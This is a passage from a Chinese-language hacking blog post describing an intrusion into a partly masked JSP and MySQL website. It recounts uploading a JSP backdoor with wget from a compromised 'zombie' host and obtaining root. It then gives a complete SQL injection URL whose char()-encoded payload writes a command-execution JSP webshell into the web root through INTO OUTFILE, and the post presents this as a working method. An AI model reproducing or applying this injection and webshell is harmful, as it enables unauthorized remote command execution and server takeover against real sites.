  错误原因估计是与操作系统有关,因为我用这两种方法在linux的系统上测试成功了!哎,看来山穷水尽了!于是对此服务器的渗透暂停了一下。可能休息后头脑比较清醒,思想的火花一下就冒出来。这个时候我想起一篇入侵Tomcat的文章,里面提到上传JSP后门到web路径下后直接就得到了root权限!于是,我就在shell下用wget命令从我的肉鸡上传了个JSP的后门到web路径下面。然后用ie测试了一下权限,竟然发现这个WEBSHELL就是root权限，如图10所示。
  
  
  
  6.注入导出webshell
  
  假设我们没有得到他的telnet的弱口令,那如何来得到此站的webshell?angel在文 及文>中研究了由mysql注入导出文件得到webshell的方法.很多人可能觉得他的方法局限性大. 因为当php.ini中magic_quotes_gpc = on时,运用into outfile导出文件的时候会不成功!但是jsp+mysql的网站就没有magic_quotes_gpc = on这样的设置.所以说他的方法在jsp+mysql注入中发出了耀眼的光芒!
  
  我们这里要用到的jsp webshell是
  
  我们把上述代码中的回车去掉,并转换为ascii码如图11所示.
  
  
  
  再在ie中提交如下地址
  
  http://www.***.***.cn/content.jsp?tablename=zhxw&id=1530%20and%201=2%20union%20select%201,1,char(60,37,64,32,112,97,103,101,32,105,109,112,111,114,116,61,34,106,97,118,97,46,105,111,46,42,34,32,37,62,60,37,116,114,121,32,123,83,116,114,105,110,103,32,99,109,100,32,61,32,114,101,113,117,101,115,116,46,103,101,116,80,97,114,97,109,101,116,101,114,40,34,99,109,100,34,41,59,80,114,111,99,101,115,115,32,99,104,105,108,100,32,61,82,117,110,116,105,109,101,46,103,101,116,82,117,110,116,105,109,101,40,41,46,101,120,101,99,40,99,109,100,41,59,73,110,112,117,116,83,116,114,101,97,109,32,105,110,32,61,32,99,104,105,108,100,46,103,101,116,73,110,112,117,116,83,116,114,101,97,109,40,41,59,105,110,116,32,99,59,119,104,105,108,101,32,40,40,99,32,61,105,110,46,114,101,97,100,40,41,41,32,33,61,32,45,49,41,32,123,111,117,116,46,112,114,105,110,116,40,40,99,104,97,114,41,99,41,59,125,105,110,46,99,108,111,115,101,40,41,59,116,114,121,32,123,99,104,105,108,100,46,119,97,105,116,70,111,114,40,41,59,125,32,99,97,116,99,104,40,73,110,116,101,114,114,117,112,116,101,100,69,120,99,101,112,116,105,111,110,32,101,41,32,123,101,46,112,114,105,110,116,83,116,97,99,107,84,114,97,99,101,40,41,59,125,125,32,99,97,116,99,104,32,40,73,79,69,120,99,101,112,116,105,111,110,32,101,41,32,123,83,121,115,116,101,109,46,101,114,114,46,112,114,105,110,116,108,110,40,101,41,59,125,37,62),1,1,1%20from%20admin%20into%20outfile%20’/www/ping/pingping.jsp’/*
  
  返回如图12所示结果
  
  
  
  呵呵,提示有错误,其实已经成功了!我们直接在ie中连接此web目录中后门的地址得到如图13所示
  
  
  
  确实成功了!
  
  我们的渗透也就此结束了.由于本人水平有限,文中难免有不当之处,请多多指教。我的qq是874842，我的email:wilse4694@sina.com.
  
  参考文献1.http://www.4ngel.net/article/36.htm
  
  2. http://www.4ngel.net/article/30.htm
  
  3.http://www.securiteam.com/exploits/6G00P1PC0U.html
  
  4.http://www.securiteam.com/securitynews/5MP031P1FG.html
  Tag：Jsp Mysql 注入 黑客 入侵
  chapi 发表于16时52分22秒 | 阅读全文 | 评论 0 | 编辑 | 分享

Lessons by English, baby!